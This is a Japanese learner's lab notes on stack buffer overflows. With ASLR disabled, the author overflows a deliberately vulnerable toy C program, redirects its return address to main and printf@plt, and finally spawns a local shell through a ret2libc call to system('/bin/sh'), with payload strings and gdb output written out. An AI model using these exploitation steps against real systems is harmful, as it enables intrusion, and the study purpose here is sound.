バッファオーバーフロー入門のためにしたメモ その2
書き出し
前回の継続で勉強した内容を書き出す記事です。
環境
$ cat /etc/os-release NAME="Ubuntu" VERSION="14.04, Trusty Tahr" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 14.04 LTS" VERSION_ID="14.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" $ uname -a Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ sudo sysctl -w kernel.randomize_va_space=0 $ gcc --version gcc (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4 Copyright (C) 2013 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
実験
実験コード
#include<stdio.h> #include<string.h> char buf[64]; int main() { char local[64]; printf("buffer 0x%x \n",&buf); fgets(local,128,stdin); strcpy(buf,local); return 0; }
観察
前回の観察で実際にバッファーから値が漏れ出すことを確認できたので、それをもう少し知識を深くしていく。
[1] 溢れ出た値の確認
先の実験でも確認していた実効アドレス(EIP)の書き換えを行うと指定したアドレスに飛んでくれるそうなのでそれを悪用していこうと思う。
アドレスを書き換えられた様子
$ python -c 'print("A"*70)' | strace -i ./ret [00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0 [ Process PID=16520 runs in 32 bit mode. ] [f7ff1ee9] brk(0) = 0x804b000 [f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) [f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000 ~~~中略~~~ [f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 [f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000 [f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81 [41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} --- [????????????????] +++ killed by SIGSEGV (core dumped) +++ Segmentation fault (コアダンプ)
実際に動かすに際し、このようなアドレスにブレークポイントを設置する。
gdb-peda$ disas main Dump of assembler code for function main: 0x0804849d <+0>: push ebp 0x0804849e <+1>: mov ebp,esp 0x080484a0 <+3>: and esp,0xfffffff0 0x080484a3 <+6>: sub esp,0x50 0x080484a6 <+9>: mov DWORD PTR [esp+0x4],0x804a060 0x080484ae <+17>: mov DWORD PTR [esp],0x8048590 0x080484b5 <+24>: call 0x8048350 <printf@plt> 0x080484ba <+29>: mov eax,ds:0x804a040 0x080484bf <+34>: mov DWORD PTR [esp+0x8],eax 0x080484c3 <+38>: mov DWORD PTR [esp+0x4],0x80 0x080484cb <+46>: lea eax,[esp+0x10] 0x080484cf <+50>: mov DWORD PTR [esp],eax 0x080484d2 <+53>: call 0x8048360 <fgets@plt> 0x080484d7 <+58>: lea eax,[esp+0x10] 0x080484db <+62>: mov DWORD PTR [esp+0x4],eax 0x080484df <+66>: mov DWORD PTR [esp],0x804a060 0x080484e6 <+73>: call 0x8048370 <strcpy@plt> 0x080484eb <+78>: mov eax,0x0 0x080484f0 <+83>: leave 0x080484f1 <+84>: ret End of assembler dump. gdb-peda$ b main Breakpoint 1 at 0x80484a0 gdb-peda$ b *main+53 Breakpoint 2 at 0x80484d2 gdb-peda$ b *main+83 Breakpoint 3 at 0x80484f0
プログラム起動直後のスタック領域としては次のようになるだろう。
0x00000000方向 低位アドレス +------------------+ |buf[0x50] | アドレスに入っていたデータ +------------------+ |Saved EBP | 0x00000000 +------------------+ |Return Address | 0xf7e2caf3 in __libc_start_main () +------------------+ 0xffffffff方向 高位アドレス
入力をしてスタックの様子を確認しよう。 入力値として今回は'A'*70を入力
gdb-peda$ where #0 0x080484d7 in main () #1 0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 #2 0x080483c1 in _start () gdb-peda$ x/32xw $esp 0xffffd670: 0xffffd680 0x00000080 0xf7fc0c20 0xf7e462f3 0xffffd680: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd690: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd6c0: 0x41414141 0x000a4141 0x00000000 0xf7e2caf3 0xffffd6d0: 0x00000001 0xffffd764 0xffffd76c 0xf7feae6a 0xffffd6e0: 0x00000001 0xffffd764 0xffffd704 0x0804a01c
確保した領域からは完全にはみ出しているが、 0x080484a0 <+3>: and esp,0xfffffff0
で揃えられた領域で受け止めているのでSaved EBP とReturn Address は汚染されていない。
書き換えまでおおよそ10文字程度であると考えるのでpython -c 'print("A"*76+[address])'
で任意のアドレスに飛びそうだと考えられる。
まずは実際に動くのかを確認するためにmain() の際呼び出しをしていく。
[2] アドレスの書き換え
アドレスを書き換えるために飛ばしたい先のアドレスをリトルエンディアンに変更しなければならない。
もしかするとどこかに良いツールがあったりコマンドがあるのかもしれないが、作ってしまった方が早いと思い、\x数値
のような形で変換するツールを作った。
これを実際に利用してアドレスを変換しつつ、アドレスの書き換えが可能なのか確認する。
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./ret buffer 0x804a060 buffer 0x804a060 Segmentation fault (コアダンプ)
実際に2度動いた。
確認のためにstraceをかませてみよう。
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|strace -i ./ret [00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0 [ Process PID=17009 runs in 32 bit mode. ] [f7ff1ee9] brk(0) = 0x804b000 [f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) [f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000 [f7ff3a81] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) [f7ff3984] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 [f7ff390d] fstat64(3, {st_mode=S_IFREG|0644, st_size=89006, ...}) = 0 [f7ff3b53] mmap2(NULL, 89006, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fc4000 ~~~中略~~~ [f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 ) = 18 [f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 [f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000 [f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81 [f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 ) = 18 [f7fdb430] read(0, "", 4096) = 0 [0000000a] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa} --- [????????????????] +++ killed by SIGSEGV (core dumped) +++ Segmentation fault (コアダンプ)
f7fdb430
が2度確認できるので実際に2度動作したことがわかった。
[3] 任意の命令実行
Returnアドレスの変化を確認したので実行ファイル内に存在する命令を呼び出してみる。
はじめにPLT(Procedure Linkage Table)内部のアドレスに書き換えてみる。
- ざっくり自分用メモ PLT : プログラムが実行する関数を一覧としてまとめたもの。
まずはobjdumpでplt内部のアドレス情報を把握する。
$ objdump -d -j .plt --no ret ret: ファイル形式 elf32-i386 セクション .plt の逆アセンブル: 08048340 <printf@plt-0x10>: 8048340: pushl 0x804a004 8048346: jmp *0x804a008 804834c: add %al,(%eax) ... 08048350 <printf@plt>: 8048350: jmp *0x804a00c 8048356: push $0x0 804835b: jmp 8048340 <_init+0x28> 08048360 <fgets@plt>: 8048360: jmp *0x804a010 8048366: push $0x8 804836b: jmp 8048340 <_init+0x28> 08048370 <strcpy@plt>: 8048370: jmp *0x804a014 8048376: push $0x10 804837b: jmp 8048340 <_init+0x28> 08048380 <__gmon_start__@plt>: 8048380: jmp *0x804a018 8048386: push $0x18 804838b: jmp 8048340 <_init+0x28> 08048390 <__libc_start_main@plt>: 8048390: jmp *0x804a01c 8048396: push $0x20 804839b: jmp 8048340 <_init+0x28>
今回はprintを実行するので、先ほどのecho -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./ret
にアドレスをと必要なものを書き足していく。
関数の実行時には、引数が必要な場合があるので、それも考慮しながらアドレスを配置する。
このアドレスの配置の際、mainのret命令が擬似call命令となるため、そこを見落としてはならない。
0x00000000方向 低位アドレス +------------------+ |buf[0x50] | 0x41414141 ... +------------------+ |Saved EBP | 0x41414141 +------------------+ |Return Address | 0x08048350 printf@plt : 擬似的なcall +------------------+ |擬似call ret add | 0x080484ae main +------------------+ |call arg1 | 0x0804a060 変数buf +------------------+ |call arg2 | ? +------------------+ 0xffffffff方向 高位アドレス
そして実際に実行してみる。
$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\xae\x84\x04\x08\x60\xa0\x04\x08'|./ret buffer 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?`? buffer 0xffff000a Segmentation fault (コアダンプ)
入力した値と、buffer
のアドレスが表示されたので想定通りの動きにはなっている。ここで2度目のbufferが変化していることに気づくが今回は触れないでおく。
次に実行ファイルにリンクしているlibcから命令を呼び出してみる。
実際に実行ファイル内にlibcが確認できるのでこれらを先ほどのアドレスに当てはめていく。
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e53310 <system> gdb-peda$ p printf $2 = {<text variable, no debug info>} 0xf7e60410 <printf> gdb-peda$ p fgets $3 = {<text variable, no debug info>} 0xf7e76ca0 <fgets> gdb-peda$ p malloc $4 = {<text variable, no debug info>} 0xf7ff1810 <malloc>
今回はシェルを立ち上げるために/bin/sh #
を先頭に割り当て、systemでそれを実行する。
0x00000000方向 低位アドレス +------------------+ |buf[0x50] | 0x6e69622f 0x2068732f 0x00000a23 0x41414141 ... +------------------+ |Saved EBP | 0x41414141 +------------------+ |Return Address | 0xf7e53310 <system> : 擬似的なcall +------------------+ |擬似call ret add | 0x080484ae main +------------------+ |call arg1 | 0x0804a060 変数buf +------------------+ |call arg2 | ? +------------------+ 0xffffffff方向 高位アドレス
そして実際に実行してみる。
$ (echo -e '/bin/sh #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x33\xe5\xf7\xae\x84\x04\x08\x60\xa0\x04\x08'; cat)|./ret buffer 0x804a060 ls gadget gadget.c peda-session-ret.txt ret ret.c test exit buffer 0xffff000a ls exit Segmentation fault (コアダンプ)
シェルの起動を確認し、コマンド入力も可能なことがわかった。
今回のメモはここまで。